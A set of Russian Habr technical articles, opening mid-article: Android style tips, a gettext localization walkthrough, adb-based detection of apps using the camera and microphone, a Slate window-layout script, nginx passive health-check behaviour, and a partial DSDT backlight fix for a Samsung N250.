#### 4. Не бояться создавать ресурсные файлы
Когда в файле `styles.xml` набирается много различных стилей, тем и атрибутов, то его становится сложно поддерживать.
Лучше всего разнести все по группам в отдельные файлы:
```
themes.xml — Theme & ThemeOverlay
styles.xml — Widget styles
type.xml — TextAppearance, text size etc
shape.xml — ShapeAppearance
motion.xml — Animations styles
system_ui.xml — Booleans, colors for UI control
//may be other files
```
Такое простое правило позволит избежать [God-файлов](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D0%B6%D0%B5%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82) и, следовательно, будет проще поддерживать стили.
#### 5. Переиспользовать по максимуму
Как мы поступим, если захотим переопределить атрибут, который доступен только с определенной версии API?
Мы можем создать две отдельные темы:
```
../values/themes.xml
<!--Many definition-->
../values-v27/themes.xml
<!--Many definition-->
<name="android:windowLightNavigationBar">...</item>
```
Нам теперь на каждую версию API делать тему со всеми параметрами? Нет, конечно! Мы сделаем базовую тему, где будут определены базовые атрибуты, доступные для всех версий API и отнаследуемся от нее в нужной версии API:
```
../values/themes.xml
<!--Many definition-->
../values-v27/themes.xml
<style name="Theme.MyApp.Base.V27" parent="Theme.MyApp.Base">
<name="android:windowLightNavigationBar">...</item>
</code></pre><br/>
<p>По такому принципу построены все темы в стандартной библиотеке.</p><br/>
<h4 id="6-ispolzovat-vektornye-resursy-i-tint">6. Использовать векторные ресурсы и tint</h4><br/>
<p>Думаю, не стоит говорить почему векторные ресурсы — это хорошо. Все и так знают (на всякий случай <a href="https://developer.android.com/guide/topics/graphics/vector-drawable-resources">ссылка на документацию</a>). Ну а <strong>tinting</strong> поможет нам окрасить их в цвета темы.</p><br/>
<p>Посмотреть что такое tinting и как с ним работать можно в <a href="https://github.com/googlesamples/android-DrawableTinting">этом примере</a>.</p><br/>
<h4 id="7-androidattr-vs-attr">7. ?android:attr/… vs ?attr/...</h4><br/>
<p>При обращении к ресурсам у нас есть возможность использовать как системные атрибуты, так и атрибуты из библиотеки Material Components. Важно понимать, что некоторые атрибуты существуют только с определенной версии API. Как мы все хорошо знаем, обращение к несуществующему ресурсу ведет к крэшу (lint, конечно, нам подскажет если что-то не так, но не стоит всегда полагаться на него)</p><br/>
<pre><code class="xml">android:background="?android:attr/selectableItemBackgroundBorderless"
android:background="?attr/selectableItemBackgroundBorderless"</code></pre><br/>
<p>В первом случае мы обращаемся к системному ресурсу, так как указали <code>android</code>. Во втором случае к атрибуту из библиотеки, где реализована обратная совместимость. </p><br/>
<p>Лучше всегда использовать второй вариант.</p><br/>
<h4 id="8-vsegda-ukazyvat-roditelya-dlya-stilya">8. Всегда указывать родителя для стиля</h4><br/>
<p>В родительском стиле могут быть параметры, без которых компонент будет неверно отрисовываться, поэтому следует всегда указывать родителя.</p><br/>
<pre><code class="xml"><style name="Widget.MyApp.LoginInputLayout" parent="Widget.MaterialComponents.TextInputLayout.FilledBox">
<item name="errorTextColor">@color/colorError</item>
```
#### 9. Тема, стиль или… ?
При созданий собственных тем и стилей будет здорово, если вы укажите префикс, говорящий о том что это за стиль и для чего он определен. Такое именование позволит очень просто структурировать и расширять стили. | https://habr.com/ru/post/461201/ | null | ru | null |
# Bashstyle-NG. Пример локализации приложения
Намедни зашел на [gnomefiles.org](http://gnomefiles.org) посмотреть, не появилось ли какого-нибудь нового интересного софта, или просто обновлений для того, что у меня уже установлено. Мое внимание привлекло обновление [bashstyle-ng](http://www.gnomefiles.org/app.php/BashStyle-NG), графической утилиты для настройки внешнего вида командной строки. Честно говоря, утилиту даже и не пробовал в действии, так как подобные приблуды недолюбливаю и считаю излишними (нет, ну правда, порой ведь проще почитать man, и ручками поправить конфиги). Но мое внимание привлек комментарий автора утилиты:
> *Looking for Translators!
>
> If you are willing to translate BS-NG into another language then English or German, send me a mail.
>
> If you don’t know how to translate — no problem! Just leave a comment about that in your mail and I'll instruct you.*
Первая мысль была примерно такой: «Хм, а смысл заморачиваться?». Следом ее настигла следующая: «Ну-у-у, я ведь как-никак приверженец opensource. Ну и что, что я не буду использовать эту утилиту? Не все ведь любят ковыряться в конфигах…». И правда, многие начинающие пользователи Unix/Linux не могут сходу разобраться в конфигах, более того, многие из них не сильны в английском, плюс ко всему, раз уж назвался приверженцем opensource, то и соответствовать следует. А посему было принято решение: «Помогем-c».
Связался с автором, он дал мне инструкцию по локализации. Так как это был мой первый опыт, то говорить о том что те инструкции, которыми я руководствовался, универсальны я пока не стану, но тем не менее опишу что я делал, возможно кому-то пригодится.
В директории с исходниками находим директорию "*translations/po*" (ну или что-то на это похожее). Затем выполняем внутри этой директории следующую команду:
> `msginit -i ../pot/filename.pot -o filename-ru.po -l ru_RU`
При этом нужно учесть, что для выполнения этой команды нужен установленный [gettext](http://www.gnu.org/software/gettext/), настройка локали должна быть правильной (то есть *echo $LC\_ALL* должно вернуть *ru\_RU.UTF-8*), ну и следить за расположением каталогов в дереве исходников при наборе этой команды. Эта команда сформирует файл *filename-ru.po*, который будет содержать строки, типа
> `msgid ="here_some_original_text"`
то есть строки с оригинальными текстами, а так же строки типа
> `msgstr =""`
в которые, соответственно нужно внести наш перевод.
После рутинной обработки файла переходим на каталог (или несколько каталогов) выше и ищем файлик *filename.in*. В этом файлике нам нужно найти приблизительно такую строку:
> `langs += ["C", "de", "it"]`
то бишь список локалей, и исправить на нечто вроде этого:
> `langs += ["C", "de", "it", "ru"]`
после чего переходим непосредственно к установке и тестированию:
> `./configure –prefix=/path/to/install
>
> make mo #генерируем бинарник с переводом
>
> make install`
и если все прошло нормально, то после запуска мы увидим локализованное приложение.
Потратив всего пару часов я получил немалое удовольствие от проделанной работы, а после отправки языкового .po файла автору утилиты, получил письмо, которое подняло мое настроение еще больше:
> *Wow! That was fast :)
>
> I just tested it, and the strings appear all.
>
> You can grab the latest svn (revision 500) and you’ll see yourself in
>
> the about-dialog (translators tab) :)
>
>
>
> Thanks a lot!
>
> Chris*
Помогайте людям, делитесь идеями, это здорово, правда :) | https://habr.com/ru/post/56977/ | null | ru | null |
# ADB vs Spy Cam & Mic
Как проверить, ведет ли какое-нибудь приложение на *Android*-смартфоне фото- или видеорепортаж, хотя ему это ни разу ни к чему? Нижепредлагаемый вариант совсем не идеален, но не требует «рута» или кастомной прошивки.
*P.S. Я добавил в статью описание мониторинга доступа приложений к микрофону.*
Что требуется установить:
* *ADB* (*Android Debug Bridge*) (например, в составе *Android SDK Platform Tools* — загрузить можно [здесь](https://developer.android.com/studio/releases/platform-tools));
* драйвер для телефона (при необходимости, например, *Google USB Driver* можно загрузить [здесь](https://developer.android.com/studio/run/win-usb)).
Включаем на телефоне режим отладки через *USB* и подключаем смартфон к *USB*-порту компьютера, причем следует выбрать режим *USB*-подключения, отличный от «Только зарядка».
**Скрытый текст**В «Диспетчере устройств» смартфон отображается, например, так:
в режиме «Фото» или «Файлы»

в режиме «USB-диск»

А вот так — в выводе команды *lsusb*:

Открываем командную строку в каталоге, в который установились «тулзы».
Проверяем, что подключение успешно (отображается серийный номер подключенного смартфона):
```
adb devices
```
(для *Windows*)

Для *Linux* команда бы выглядела так:
```
./adb devices
```
Если компьютер не авторизован для использования с этим смартфоном (под *Android* 4.2.2 и новее), то рядом с серийным номером появится предупредительное сообщение "**unauthorized**".
Для авторизации необходимо подтвердить на смартфоне разрешение отладки через *USB*.
**Скрытый текст**Под *Linux* может появляться сообщение "**no permissions**" — в моем случае удалось решить проблему переключением смартфона в режим «Медиаустройство (*MTP*)».
Запускаем оболочку на устройстве (получаем приглашение "$"):
```
adb shell
```

Затем вводим следующие «магические» символы:
```
while true; do ps `while ! (dumpsys media.camera | grep -E "PID") do done | grep -o "[^PID: ][0-9]*$"` | grep -o "[^S ]*$" ; date; sleep 1; done
```
Улучшенный вариант, убирающий вывод «NAME» и пустые строки:
```
while true; do ps `while ! (dumpsys media.camera | grep -E "PID") do done | grep -o "[^PID: ][0-9]*$"` | grep -o "[^S ]*$" | grep -v "NAME" | grep .; date; sleep 1; done
```
И ничего не происходит :-) Пока что-то не решит немного поснимать :-)
Означенный «магический» набор символов запускает с максимально возможной скоростью мониторинг доступа к сервису камеры — *media.camera* (этот сервис реализуется библиотекой *libcameraservice.so*). Если камера не активна, *dumpsys* выдает примерно такое:

А если камера понадобилась, то появляется такое:

*grep*-ы проверяют наличие "*PID*" и, если таки эта цепочка есть, то вырезают из строки номер процесса и скармливают его команде *ps*, которая выводит данные об этом процессе, а еще один *grep* вырезает его имя. После обнаружения активности камеры делаем паузу на секунду, чтобы сообщения не сыпались слишком часто. Для прерывания работы команды служит комбинация клавиш *CTRL-C*, а для выхода из оболочки — *CTRL-D*.
Простейший пример — после запуска штатного приложения смартфона для фото/видеосъемки начинают с интервалом в 1 секунду сыпаться сообщения с именем процесса и датой/временем:
"
Но есть и более хитрые приложения, их можно найти по ключевому слову «spy cam» (использующие трюк, например, с однопиксельным превью (<http://www.ez.ai/2014/05/exploring-limits-of-covert-data.html>)). Подобное творение при запуске съемки сворачивается и ведет репортаж, но сообщения сыпятся исправно:

Также я проверил работоспособность предложенного метода на приложении, делающем однократный снимок при нажатии на плавающую кнопку  без всякого видимого окна предпросмотра.
Скрипт успешно отлавливал обращение к камере и выдавал два сообщения при каждом снимке:

Но ведь ничто не мешает реализовать подобную функциональность и в приложении с более безобидным названием (<https://www.zdnet.com/article/this-scary-android-malware-can-record-audio-video-and-steal-your-data/>), а разрешения — ну так случаи всякие бывают. Да и «легальное» приложение может вести репортаж, когда ему заблагорассудится (я встречал упоминание об одном таком случае). И не зря в *Android P* приняли меры по предотвращению доступа к камере фоновых приложений.
Способ проверен на смартфонах *Huawei SCL-L01* (*Android* 5.1.1) и *Huawei G700-U20* (*Android* 4.2.1), на других моделях смартфонов формат вывода *dumpsys* может отличаться (для сервиса *media.camera* он не стандартизован), что потребует коррекции кода.
Формат сообщений жестко «зашит» в библиотеке */system/lib/libcameraservice.so* — например, для смартфона *Huawei SCL-L01*:

В [комментарии](https://habr.com/post/435098/#comment_19581630) — подсказка, как изменить код для работы со смартфоном под *Android* 9.
В [этом комментарии](https://habr.com/post/435098/#comment_19583252) приводится лог обращений к камере, который ведет *HTC U11*.
Но, например, на «древнем» *Huawei U8650* (*Android* 2.3.4) *dumpsys* отрабатывает нормально:

А прав не хватает для… *grep* :-)

Мониторинг доступа к микрофону
Аналогичный метод можно применить и для мониторинга за доступом приложений к микрофону. В этом случае необходимо следить за сервисом *media.audio\_flinger*.
Вводим в «шелле» команду (приведенный код работает смартфоне *Huawei SCL-L01* (*Android* 5.1.1)):
```
while true; do ps `while ! (dumpsys media.audio_flinger | grep -A20 Input| grep -A1 Client | grep yes | grep -o "[^yes ].*" | grep -o [0-9]*) do done` | grep -o "[^S ]*$" | grep -v "NAME" | grep .; date; sleep 1; done
```
Если какое-то приложение записывает звук посредством микрофона, то в выводе *dumpsys media.audio\_flinger* присутствует подобный фрагмент:

(**Input thread** — входной поток, **22467** — *PID* записывающего звук процесса).
При записи звука через стандартное приложение «Диктофон» и включенном мониторинге (посредством вышеприведенного кода) появляются соответствующие сообщения:

А вот какие сообщения сыпятся при активированном голосовом вводе *Google* переводчика:

**На других моделях смартфонов формат вывода *dumpsys* может отличаться, что потребует коррекции кода.**
Например, на смартфоне *Huawei G700-U20* (*Android* 4.2.1):

В этом случае код для мониторинга будет иметь вид:
```
while true; do ps `while ! (dumpsys media.audio_flinger | grep -A3 Input| grep -A1 Clien | grep -o "[^ ].*" | grep -o [0-9]*) do done` | grep -o "[^S ]*$" | grep -v "NAME" | grep .; date; sleep 1; done
```
Вот как в этом случае проявляет себя «ожившая» Алиса:
 | https://habr.com/ru/post/435098/ | null | ru | null |
# Slate – «серебряная пуля» для расположения окон на экранах OS X
Привет, Хабр! Хочу поделиться очень интересным инструментом для «приручения» положения окон в OS X. Если кратко, то вот [ссылка](https://github.com/jigish/slate) на репозиторий с замечательным приложением Slate. За подробностями, добро пожаловать под кат.

Я столкнулся с проблемой расположения (и, что самое главное, сохранения этой позиции!) окон на нескольких мониторах в OS X. Особенно эта проблема актуальна в случае, если основная рабочая машина – это ноутбук, а работать приходится много, и, соответственно, подключать разные мониторы и в разном количестве. У меня, например, стоит довольно большой монитор в офисе, по-меньше дома, а в дороге – возможности подключить второй монитор нет вообще. В итоге, каждый мой рабочий сеанс начинается с включения IDE и расположения всех окон-инструментов (терминал, история версий, структура проекта, инспектор класса и т.д.) IDE по мониторам. Этот процесс сильно ускоряется такими приложениями как [ShiftIt](https://github.com/fikovnik/ShiftIt), но все равно приходится тратить время на точное расположение каждого окна. Хочется просто нажать заветную комбинацию клавиш и наблюдать как окна сами располагаются по заранее заданным позициям.
И вот сегодня я нашёл решение, которое покрывает все мои потребности с головой и хочу поделиться им с вами.
Собственно, приложение называется Slate. [Вот](https://github.com/jigish/slate) ссылка на гитхаб. Это приложение позволяет создавать свои собственные конфигурации расположения окон на мониторах в виде JS файла с конфигурацией. Slate предоставляет очень мощный и в то же время простой для понимания API для манипуляции с окнами, позволяет байндить события на сочетания клавиш, имеет отличную документацию и (что самое главное) работает!
Для создания своей собственной конфигурации необходимо создать файл ~/.slate.js и описать там расположение окон.
Вот так, например, получилось у меня:
```
// При нажатии на ctrl+alt+cmd+shift+1 будем расставлять окна на место
slate.bind("1:ctrl,alt,cmd,shift", function() {
// Пока что не будем обрабатывать ситуацию, когда количество мониторов не равно 2-м.
if (slate.screenCount() !== 2) {
return;
}
// Выберем более большой по размеру монитор как главный, а второй как дополнительный
var screen0 = slate.screenForRef('0');
var screen1 = slate.screenForRef('1');
var mainScreen = null,
additionalScreen = null;
if (screen0.rect().width * screen0.rect().height > screen1.rect().width * screen1.rect().height) {
mainScreen = screen0;
additionalScreen = screen1;
} else {
mainScreen = screen1;
additionalScreen = screen0;
}
// Пробежимся по всем открытым приложениям
slate.eachApp(function(app) {
// Но работать будем только с окнами IntelliJ IDEA
var appName = app.name();
if (appName !== 'IntelliJ IDEA') {
return;
}
app.eachWindow(function(win) {
//В зависимости от названия окна - инструмента IntelliJ IDEA зададим ему позицию, размеры и монитор
var w, h, xOffset, yOffset, screen;
switch (win.title()) {
case 'Terminal':
w = 5;
h = 5;
xOffset = 7;
yOffset = 7;
screen = mainScreen;
break;
case 'Version Control':
w = 5;
h = 5;
xOffset = 7;
yOffset = 2;
screen = mainScreen;
break;
case 'Database':
w = 3;
h = 2;
xOffset = 9;
yOffset = 0;
screen = mainScreen;
break;
case 'Workspaces':
w = 2;
h = 2;
xOffset = 7;
yOffset = 0;
screen = mainScreen;
break;
case 'Project':
w = 6;
h = 12;
xOffset = 0;
yOffset = 0;
screen = additionalScreen;
break;
case 'Structure':
w = 6;
h = 12;
xOffset = 6;
yOffset = 0;
screen = additionalScreen;
break;
default:
w = 7;
h = 12;
xOffset = 0;
yOffset = 0;
screen = mainScreen;
}
// Применим изменения к окну
win.doOperation(slate.operation('move', {
'x': 'screenOriginX+screenSizeX/12*' + xOffset,
'y': 'screenOriginY+screenSizeY/12*' + yOffset,
'width': 'screenSizeX/12*' + w,
'height': 'screenSizeY/12*' + h,
'screen': screen
}));
});
});
});
```
И вот такой результат:


Спасибо за внимание! | https://habr.com/ru/post/313578/ | null | ru | null |
# Не забудьте повысить шанс ответа клиенту, используя повторный запрос в L7 балансировке
Используя nginx для балансировки HTTP трафика на уровне L7 есть возможность направить запрос клиента на следующий сервер приложений, если целевой не возвращает положительный ответ. Проба механизма пассивной проверки состояния работоспособности сервера приложений показало неоднозначность документации и специфичность работы алгоритмов исключения сервера из пула рабочих серверов.
Краткие сведения о балансировке HTTP трафика
--------------------------------------------
Существуют различные способы балансировки HTTP трафика. По уровням модели OSI [бывают технологии балансировки](https://habr.com/ru/company/selectel/blog/250201/) на сетевом, транспортном и прикладном уровнях. В зависимости от масштабов приложения [могут использоваться их комбинации](https://habr.com/ru/company/mailru/blog/347026/).
Технология балансировки трафика дает положительные эффекты в работе приложения и его обслуживания. Вот некоторые из них. Горизонтальное масштабирование приложения, при котором [нагрузка распределяется среди нескольких узлов](https://youtu.be/6NdxUY1La2I). Плановый вывод из эксплуатации сервера приложений за счет снятия с него потока клиентских запросов. Реализация стратегии A/B тестирования измененного функционала приложения. Повышение отказоустойчивости приложения путем [направления запросов на исправно функционирующие серверы приложений](https://habr.com/ru/company/okmeter/blog/423085/).
Последняя функция реализовывается в двух режимах. В пассивном режиме балансировщик в клиентском трафике оценивает ответы целевого сервера приложений и при определенных условиях исключает его из пула рабочих серверов. В активном режиме балансировщик периодически самостоятельно направляет запросы на сервер приложений по заданному URI, и по определенным признакам ответа принимает решение об исключении его из пула рабочих серверов. В дальнейшем, балансировщик, при определенных условиях, возвращает сервер приложений в пул рабочих серверов.
Пассивная проверка сервера приложений и его исключение из пула рабочих серверов
-------------------------------------------------------------------------------
Рассмотрим подробнее пассивную проверку сервера приложений в свободно распространяемой редакции nginx/1.17.0. Серверы приложений выбираются поочередно алгоритмом Round Robin, их веса одинаковы.
На трех-шаговой схеме представлен временной участок, начинающийся с направления клиентского запроса на сервер приложений №2. Светлый индикатор характеризует запросы/ответы между клиентом и балансировщиком. Темный индикатор – запросы/ответы между nginx и серверами приложений.

На третьем шаге схеме показано как балансировщик перенаправляет запрос клиента на следующий сервер приложений, в случае, если целевой сервер дал ответ с ошибкой или вообще не ответил.
Перечень HTTP- и TCP-ошибок, при которых сервер использует следующий сервер задается в директиве *proxy\_next\_upstream*.
По умолчанию nginx повторно перенаправляет на следующий сервер приложений только [запросы c идемпотентными HTTP методами](https://tools.ietf.org/html/rfc7231#section-4.2.2).
Что же получает клиент? С одной стороны, возможность перенаправления запроса на следующий сервер приложений увеличивает шансы предоставить удовлетворительный ответ клиенту при выходе из строя целевого сервера. С другой, очевидно, что последовательное обращение сначала на целевой сервер, а затем на следующий увеличивает общее время ответа клиенту.
В конце концов, клиенту [возвращается ответ сервера приложений, на котором закончился счетчик допустимых попыток](https://nginx.org/ru/docs/http/ngx_http_upstream_module.html#upstream) *proxy\_next\_upstream\_tries*.
При использовании функции перенаправления на следующий рабочий сервер нужно дополнительно гармонизировать таймауты на балансировщике и серверах приложений. Верхним ограничением времени «путешествия» запроса между серверами приложений и балансировщиком является таймаут клиента, либо время ожидания, определенное бизнесом. При расчете таймаутов, также необходимо учесть запас на сетевые события (задержки/потери при доставке пакетов). Если клиент всякий раз будет завершать сессию по таймауту пока балансировщик добывает гарантированный ответ, благое намерение сделать приложение надежным будет тщетным.

Управление пассивной проверкой работоспособности серверов приложений выполняется директивами, например, со следующими вариантами их значений:
```
upstream backend {
server app01:80 weight=1 max_fails=5 fail_timeout=100s;
server app02:80 weight=1 max_fails=5 fail_timeout=100s;
}
server {
location / {
proxy_pass http://backend;
proxy_next_upstream timeout http_500;
proxy_next_upstream_tries 1;
...
}
...
}
```
По состоянию на 02.07.2019 документацией [установлено](https://nginx.org/ru/docs/http/ngx_http_upstream_module.html#server), что параметр *max\_fails* задаёт число неудачных попыток работы с сервером, которые должны произойти в течение времени, заданного параметром *fail\_timeout*.
Параметр *fail\_timeout* задаёт время, в течение которого должно произойти заданное число неудачных попыток работы с сервером для того, чтобы сервер считался недоступным; и время, в течение которого сервер будет считаться недоступным.
В приведенном примере части конфигурационного файла балансировщик настроен на отлов 5 неудачных обращений в течение 100 секунд.
Возвращение сервера приложений в пул рабочих серверов
-----------------------------------------------------
Как следует из документации, балансировщик после истечения *fail\_timeout* не может считать сервер неработоспособным. Но, к сожалению, документацией не установлено явно, как именно оценивается работоспособность сервера.
Без проведения эксперимента можно только предположить, что механизм проверки состояния аналогичен ранее описанному.
Ожидания и реальность
---------------------
В представленной конфигурации от баланисровщика ожидается следующее поведение:
1. До тех пор, пока балансировщик не исключит сервер приложений №2 из пула рабочих серверов, на него будут направляться запросы клиента.
2. Запросы, возвращаемые с 500 ошибкой от сервера приложений №2 будут пересылаться на следующий сервер приложений, и клиент получит положительные ответы.
3. Как только балансировщик в течении 100 секунд получит 5 ответов с кодом 500, он исключит сервер приложений №2 из пула рабочих серверов. Все запросы, следующие после 100 секундного окна, будут сразу направляться на оставшиеся рабочие серверы приложений без дополнительных затрат времени.
4. Балансировщик по истечению 100 секунд каким-то образом должен оценить работоспособность сервера приложений и вернуть его в пул рабочих серверов.
Проведя натуральные испытания, по журналам балансировщика установлено, что утверждение №3 не работает. Балансировщик исключает неработоспособный сервер, как только исполнится условие по параметру *max\_fails*. Таким образом, неисправный сервер исключается из обслуживания не дожидаясь истечения 100 секунд. Параметр *fail\_timeout* играет роль только верхнего предела времени накопления ошибок.
В части утверждения №4 выясняется, что nginx проверяет работоспособность ранее исключенного из обслуживания сервера приложения только одним запросом. И если сервер по-прежнему отвечает ошибкой, то следующая проверка состоится по истечению *fail\_timeout*.
Чего не хватает?
----------------
1. Реализованный в nginx/1.17.0 алгоритм, возможно, не самым справедливым образом проверяет работоспособность сервера перед его возвращением в пул рабочих серверов. Как минимум, по действующей документации ожидается не 1 запрос, а количество, указанное в *max\_fails*.
2. Алгоритм проверки состояния не учитывает скорость запросов. Чем она больше, тем сильнее спектр с неудачными попытками сдвигается влево, и сервер приложений слишком быстро выбывает из пула рабочих серверов. Предположу, что это может негативно сказаться на приложениях, которые позволяют себе «короткими во времени сгустками» давать ошибки. Например, при сборке мусора.

Хотел у вас спросить, есть ли практическая польза от алгоритма проверки работоспособности сервера, в котором оценивается скорость неудачных попыток? | https://habr.com/ru/post/458594/ | null | ru | null |
# Исправляем ACPI на Samsung N250
В этой статье я хотел бы описать типичные ошибки проектирования, найденные в BIOS современного нетбука, и методы их обнаружения, изучения и исправления.
Вступление
----------
Итак, [ACPI](http://ru.wikipedia.org/wiki/ACPI) — это универсальный интерфейс к некоторым функциям аппаратного обеспечения современных компьютеров, от управления питанием и контроля состояния батарей до запроса возможностей подключенных внешних дисплеев.
Он состоит из нескольких конфигурационных *таблиц*, одна из которых содержит код для виртуальной машины, работающей в ядре операционной системы. Виртуальная машина, существенно усложняющая реализацию ACPI, была добавлена для того, чтобы сделать систему настолько гибкой, насколько это возможно.
В теории, такая система должна была сделать драйвера для чипсета ненужными. Она весьма мощная (если не сказать «раздутая»), и вполне может справиться с такой задачей; например, на Маках ACPI используется весьма широко и грамотно.
В реальности, однако, поставщики PC-совместимых систем зачастую включают ошибочные или неполные таблицы ACPI, и не последней причиной для этого является vendor lock-in. Таким образом, эти системы требуют использования нетривиальных обходных путей, зачастую недокументированных и тоже не всегда корректно работающих. Вместо этого, я попытался исправить ACPI для одной такой системы.
Компьютер, который у меня есть — нетбук Samsung N250+. У него достаточно неплохое «железо» (за исключением охочей до батарейки и вообще кривой WiFi-карточки Broadcom, которую я сразу же заменил на аналогичую Atheros), но качество BIOS-а весьма печальное. На момент релиза не было даже возможности включить (или выключить) WiFi из Linux-системы: его состояние можно было изменить только через CMOS Setup Utility. На данный момент драйвер есть, но он использует фундаментально порочный подход, и страдает от некоторых [проблем](http://comments.gmane.org/gmane.linux.drivers.platform.x86.devel/2403).
Исследование текущего состояния
-------------------------------
Поддержка возможностей нетбука, для которых код в ACPI отсутствовал, изначально была реализована в модуле ядра [easy slow down manager](http://code.google.com/p/easy-slow-down-manager/), который в итоге был принят в ядро как [samsung-laptop.c](http://git.kernel.org/?p=linux/kernel/git/stable/linux-3.0.y.git;a=blob;f=drivers/platform/x86/samsung-laptop.c;h=d347116d150e38146eedf6e817e51afc84898169;hb=HEAD).
Как видно на [строке 725 исходного кода](http://git.kernel.org/?p=linux/kernel/git/stable/linux-3.0.y.git;a=blob;f=drivers/platform/x86/samsung-laptop.c;h=d347116d150e38146eedf6e817e51afc84898169;hb=HEAD#l725), этот драйвер использует вызовы SMI (и интерфейс Samsung под названием SABI) для того, чтобы устанавливать уровень подсветки, изменять «режим производительности» (который на самом деле всего лишь меняет скорость вращения вентиляторов) и включать питание беспроводному модулю. SMI-вызов — это команда, которая заставляет ЦП активировать так называемый режим управления системой ([SMM](http://ru.wikipedia.org/wiki/System_Management_Mode)), специальную возможность чипсета и процессора, одинаково похожую на гипервизор и руткит.
BIOS может настроить чипсет так, чтобы он перехватывал определенные операции (например, доступ к выбранным регионам памяти или портов ввода-вывода) и активировал SMM, ОС не может ни обнаружить факт входа в SMM (кроме как косвенными методами), ни прервать его, ни предотвратить. После этого, BIOS может выполнить произвольный код: например, SMM используется для того, чтобы сэмулировать для старых ОС (например, ДОС) поддержку PS/2-мыши в тех случаях, когда подключена USB-мышь. Более того, область памяти, выделенная для обработчика SMM, ни при каких обстоятельствах не доступна ОС, делая прямой анализ логики ее работы невозможным.
К счастью, в этом случае вызовы SMI, скорее всего, меняют лишь пару байтов, и, если повезет, можно будет определить их расположение, не изучая код режима SMM.
Рассмотрим поближе таблицы ACPI. Существует множество их типов, но в данном случае важна только одна, *DSDT* — таблица с байткодом обработчиков многих системных событий.
Для извлечения таблицы из системы и модификации ее кода нам потребуются две утилиты: «acpidump» и «iasl». На Debian-подобной ОС они находятся в пакетах с тем же названием.
```
$ sudo acpidump -o dsdt.aml -b
$ iasl -d dsdt.aml # декомпилирует dsdt.aml в dsdt.dsl
```
Для наглядности, я оформил таблицу с историей моих изменений как [репозиторий github](http://github.com/whitequark/n250-dsdt); начальное состояние содержится в [этом коммите](https://github.com/whitequark/n250-dsdt/commit/35fca49c1b5ae8b85603aeaedec9ed30c604ba79/). Как видно, таблица весьма длинная: более 5000 строк. Таблицы длиной более чем в 25000 строк встречаются вполне регулярно.
При попытке скомпилировать таблицу обратно в байткод (наберите `make`) без каких-либо изменений компилятор выведет несколько ошибок и замечаний. Их достаточно легко исправить, глядя только на сообщения и [спецификацию ACPI](http://www.acpi.info/DOWNLOADS/ACPIspec40a.pdf); в этой [теме форума Gentoo](http://forums.gentoo.org/viewtopic.php?t=122145) есть несколько неплохих подсказок. Кстати, она на семь лет старше моего нетбука, но советы до сих пор актуальны. Исправленную таблицу можно увидеть [здесь](https://github.com/whitequark/n250-dsdt/commit/513e61875a3b2cb2ade0911d24fe72cbb85e275a).
Чиним подсветку
---------------
У моего нетбука светодиодная подсветка, и поэтому ее яркость можно менять, просто включая ее на определенную долю одинаковых интервалов времени, например, для затемнения на 30% можно держать ее включенной 70% времени. Чтобы мерцание не было заметно, это переключение ([ШИМ](http://ru.wikipedia.org/wiki/Широтно-импульсная_модуляция)) происходит на частоте, заведомо превышающей чувствительность человеческого глаза — скажем, 200кГц вполне достаточно.
В данном случае, *скважность* ШИМ, вероятно, изменяется встроенным графическим контроллером. Вот он на шине PCI:
```
$ lspci
00:00.0 Host bridge: Intel Corporation N10 Family DMI Bridge
00:02.0 VGA compatible controller: Intel Corporation N10 Family Integrated Graphics Controller
00:02.1 Display controller: Intel Corporation N10 Family Integrated Graphics Controller
<...>
```
Цифры «00:02.0» — адрес устройства на шине. Зная этот адрес, можно запросить или изменить параметры устройства, так как Linux предоставляет множество точек управления через [sysfs](http://ru.wikipedia.org/wiki/Sysfs). Одна из них позволяет читать и записывать [конфигурационное пространство PCI](http://ru.wikipedia.org/wiki/PCI_configuration_space): блок из 256 байтов, в котором хранятся настройки устройства. Первые 64 байта в этом блоке имеют определенное спецификацией значение, а остальные могут свободно использоваться производителем для своих нужд.
Проверим, что происходит с конфигурацией при изменении уровня подсветки (несмотря на то, что здесь приведен пример для Linux с открытым драйвером, все это можно сделать и для закрытого драйвера или даже на Windows; считать конфигурационное пространство можно и в ней):
```
# echo 7 >/sys/class/backlight/samsung/brightness
# hexdump -C /sys/bus/pci/devices/0000\:00\:02.0/config >config-1
# echo 5 >/sys/class/backlight/samsung/brightness
# hexdump -C /sys/bus/pci/devices/0000\:00\:02.0/config >config-2
# diff -u config-1 config-2
--- config-1 2011-09-05 01:06:13.326930250 +0400
+++ config-2 2011-09-05 01:06:21.503828025 +0400
@@ -13,5 +13,5 @@
000000c0 00 00 00 00 01 00 00 00 00 00 00 00 a7 00 00 00 |................|
000000d0 01 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 |..".............|
000000e0 00 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 |................|
-000000f0 79 00 00 00 ff 00 00 00 ad 0f 00 00 7c 0e 5c 7f |y...........|.\.|
+000000f0 79 00 00 00 73 00 00 00 ad 0f 00 00 7c 0e 5c 7f |y...s.......|.\.|
00000100
```
Таким образом, байт по адресу 0xf4 управляет уровнем подсветки. Можно в этом убедиться, запустив команду `sudo setpci -s 00:02.0 f4.b=80` (заменив 80 на нужный уровень подсветки).
Теперь перепишем DSDT так, чтобы обновлялось это значение (и, возможно, в процессе этого получится узнать, почему управление подсветкой через ACPI вообще не работает):
Согласно [спецификации ACPI](http://www.acpi.info/DOWNLOADS/ACPIspec40a.pdf) (приложение B, раздел 6.2, стр. 704), совместимое описание графического адаптера должно реализовывать методы `_BCL`, `_BCM` и `_BQC`. В нашем DSDT эти методы определены на [строке 1767](https://github.com/whitequark/n250-dsdt/blob/513e61875a3b2cb2ade0911d24fe72cbb85e275a/dsdt.dsl#L1767). Вот их откоментированный исходный код:
```
/* = Запрос списка поддерживаемых уровней яркости подсветки =
* Возвращает массив (Package в терминах ACPI), содержащий
* поддерживаемые и предпочитаемые уровни подсветки.
*/
Method (_BCL, 0, NotSerialized)
{
/* Изменить бит в области памяти под названием GVNS (стр. 132).
Я не знаю, что при этом происходит. */
Or (VDRV, 0x01, VDRV)
Return (Package (0x08)
{
0x64, /* Предпочитаемый уровень при питании от сети */
0x05, /* То же, для автономной работы */
0x0F, /* Список возможных уровней яркости */
0x18, /* 24 */
0x1E, /* 30 */
0x2D, /* 45 */
0x3C, /* 60 */
0x50 /* 80 */
})
}
/* = Установить уровень яркости подсветки =
* Получает целевой уровень в Arg0.
